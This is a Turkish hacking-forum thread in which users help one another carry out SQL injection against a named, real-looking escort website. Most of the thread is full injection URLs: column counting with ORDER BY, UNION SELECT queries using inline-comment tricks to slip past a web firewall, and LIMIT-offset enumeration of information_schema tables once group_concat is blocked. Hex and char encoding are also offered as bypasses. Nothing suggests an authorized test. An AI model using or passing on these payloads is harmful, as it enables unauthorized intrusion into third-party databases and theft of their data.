karakter filitreleyince bu iş bitiyor mu? tahribat.com a can feda

bu kolonlarda http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ /+limit+17,1 hostesses http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ /+limit+18,1 textes verdi :D

Merhaba arkadaşlar bir tane eskort site üzerinde sql denerken 403 forbidden olayı çıktı ama onu bypass yntemi ile hallettim ama kolon sayısını yansıttığı zaman kolonların tablo isimlerini bulmaya çalışırken tekrardan aynı sorunu verdi acaba sorun nerde http://massage-erotic-montreal.com/hostess. php?id=24+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- http://massage-erotic-montreal.com/hostess. php?id=-24+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- http://massage-erotic-montreal.com/hostess. php?id=24+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- (403 FORBİDDEN) http://massage-erotic-montreal.com/hostess. php?id=-24+union+/ ! select /+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- bundan sonra kolonları yazınca nedense yeniden 403 olayını vuruyor acaba nerede bir yanlışım var?

Hocam başka bir konu açıcaktım sırf bu vereceğim cevap için :) İnan sabahtan beri uğraşıyorum 2 saat oldu bypass edene kadar canım çıktı Amaç sizlerin ğrenmesi anlatayım şimdi Sen sadece rakamları çıkarmayı halletmişsin grdümki tablo falan çekemiyorsun Webmaster karakterleri filtrelemiş zellikle tables adını filtrelemiş bunu adım adım giderek farkettim yani http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema. table http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema. tables ( yaptığımız an bum adminini filtresi devreye giriyor 403 forbidden çıktı ) Filtreyi ise sırayla / / ile aştım yani http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ / uyguladım grdükki sorunsuz açıldı +1 şimdi adam group_concat fonksiyonunuda kapatmış yani tabloları topluca alamıyoruz http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ / yapınca sorun yok chracter_Sets bilmem ne diye verdi ama bu tablo işe yaramaz group_concat ile alayını çekmek lazım fakat http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+group_concat ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ / yapınca forbidden a düştük istesek buda aşılır ama ben limit yntemi kullandım onu filtrelemeyi akıl etmemiş Limitli yntem kullanınca greceğizki sular seller gibi akacak http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ /+limit+1,1 http://massage-erotic-montreal.com/hostess. php?id=-24+UNION+/ ! select /+ALL+table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+From+/ /information_schema./ /tables/ /+limit+2,1 gibi sayıları artırarak sırayla çekebilirsiniz Artık bi zahmet kolonları falanda sen kas :) hep hazır bekleme Herkese saygılar sevgiler Tbt Dersimliler Derneği Başkanı :)

hex değilde sex sitesi mi burası sdjfasld montreale gidicem bir ay sonra kullanabilirim burayı dursun :) "

yok hocam hex yemedi char olayıda olmadı acaba hex ile char dkümanlarını varsa paylsabilirmisiniz.

hex veya char kullan Tbt Dersimliler Derneği Başkanı :)

@Twitter: Hacı tunceliye gelince haber eyle, şyle net çeken bir yerde, biraz takılalım, ben yemek ısmarlarım sende sql injection gsterirsin :)) Çok sıkılıyom

Hocam hex kullan ben genelde hexle hallediyordum hex(unhex . uğraşmayalı baya oldu ama bi dene